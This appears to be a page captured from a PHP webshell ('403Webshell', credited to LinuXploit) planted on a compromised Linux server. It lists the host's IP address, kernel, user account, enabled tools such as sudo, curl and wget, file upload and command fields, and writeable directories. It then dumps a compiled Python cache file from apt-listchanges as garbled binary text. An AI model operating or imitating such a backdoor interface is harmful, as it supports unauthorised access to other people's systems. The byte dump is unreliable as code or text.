403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/apt-listchanges/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/apt-listchanges/__pycache__/ALCApt.cpython-39.pyc
a

Dc``��@sPddlZddlZddlmZdd�Zdd�ZGdd�de�ZGd	d
�d
e�Z	dS)�N)�_cCs|��dvS)N)�1Zyes�true�withZon�enable)�lower��value�r
�$/usr/share/apt-listchanges/ALCApt.py�_parse_apt_boolsrcCs$z
t|�WStyYdS0dS)Nr)�int�	Exceptionrr
r
r�_parse_apt_int$s
rc@seZdZdS)�AptPipelineErrorN)�__name__�
__module__�__qualname__r
r
r
rr,srcsDeZdZ�fdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Z�Z	S)
�AptPipelinecst���||_dS)N)�super�__init__�_config)�selfZconfig��	__class__r
rr0s
zAptPipeline.__init__cCs�|jjrt�td��|���.}|�|�|�|�|�|�}Wd�n1sR0Y|jjr�t�td��|D]}t�d|�qvt�d�|S)NzAPT pipeline messages:zPackages list:�	%s�)r�debug�ALCLogr�_open_apt_fd�
_read_version�
_read_options�_read_packages)r�fdZdebs�dr
r
r�read4s


(
zAptPipeline.readc
Cs�dtjvrttd���zttjd�}Wn2tyZ}zttd��|�WYd}~n
d}~00|jjrvt�td�|�|dkr�t�	td��n|dkr�ttd���zt�
|d	�WSty�}z(ttd
�|t|�d��|�WYd}~n
d}~00dS)NZAPT_HOOK_INFO_FDz{APT_HOOK_INFO_FD environment variable is not defined
(is Dpkg::Tools::Options::/usr/bin/apt-listchanges::InfoFD set to 20?)zDInvalid (non-numeric) value of APT_HOOK_INFO_FD environment variablez7Will read apt pipeline messages from file descriptor %drz�Incorrect value (0) of APT_HOOK_INFO_FD environment variable.
If the warning persists after restart of the package manager (e.g. aptitude),
please check if the /etc/apt/apt.conf.d/20listchanges file was properly updated.�z�APT_HOOK_INFO_FD environment variable is incorrectly defined
(Dpkg::Tools::Options::/usr/bin/apt-listchanges::InfoFD should be greater than 2).Zrtz3Cannot read from file descriptor %(fd)d: %(errmsg)s)r#�errmsg)�os�environrrr
rrrrZwarning�fdopen�str)rZapt_hook_info_fd_val�exr
r
rrDs,

���zAptPipeline._open_apt_fdcCs:|����}|dkr ttd���|jjr6t�d|�dS)Nz	VERSION 2zqWrong or missing VERSION from apt pipeline
(is Dpkg::Tools::Options::/usr/bin/apt-listchanges::Version set to 2?)r)�readline�rstriprrrrr)rr#�versionr
r
rr `s
zAptPipeline._read_versioncCs�|����}|jjr"t�d|�|s*dS|jjsl|�d�rlt|td�d��rld|j_	t
d|jj�|j_q|�d�rt
t|td�d��|jj�|j_qdS)NrzAPT::Get::Assume-Yes=F�zquiet=)
r-r.rrrZignore_apt_assume�
startswithr�lenZconfirm�max�quietr)rr#�liner
r
rr!hs��
zAptPipeline._read_optionscCsi}g}g}d}|��D]�}|��}|jjr:t�d|�|sBq�|�dd�\}}}	}
}|	dkrbq|dksr|dkr~|�|�q|dkr�d}|d	kr�|�|�q|||<q|s�gS|D]}||vr�||=q�g}
|D] }||vr�|
�||�||=q�|
�t|�	���|
S)
NFr��<z
**REMOVE**z	**ERROR**�-Tz
**CONFIGURE**)
�	readlinesr.rrr�split�append�extend�sorted�values)rr#�	filenamesZtoconfigZtoremoveZ
hasupgradeZpkglineZpkgnameZ
oldversionZcompareZ
newversion�filename�pkgZordered_filenamesr
r
rr"ysB

zAptPipeline._read_packages)
rrrrr%rr r!r"�
__classcell__r
r
rrr/sr)
r(rZALChacksrrrrr�objectrr
r
r
r�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit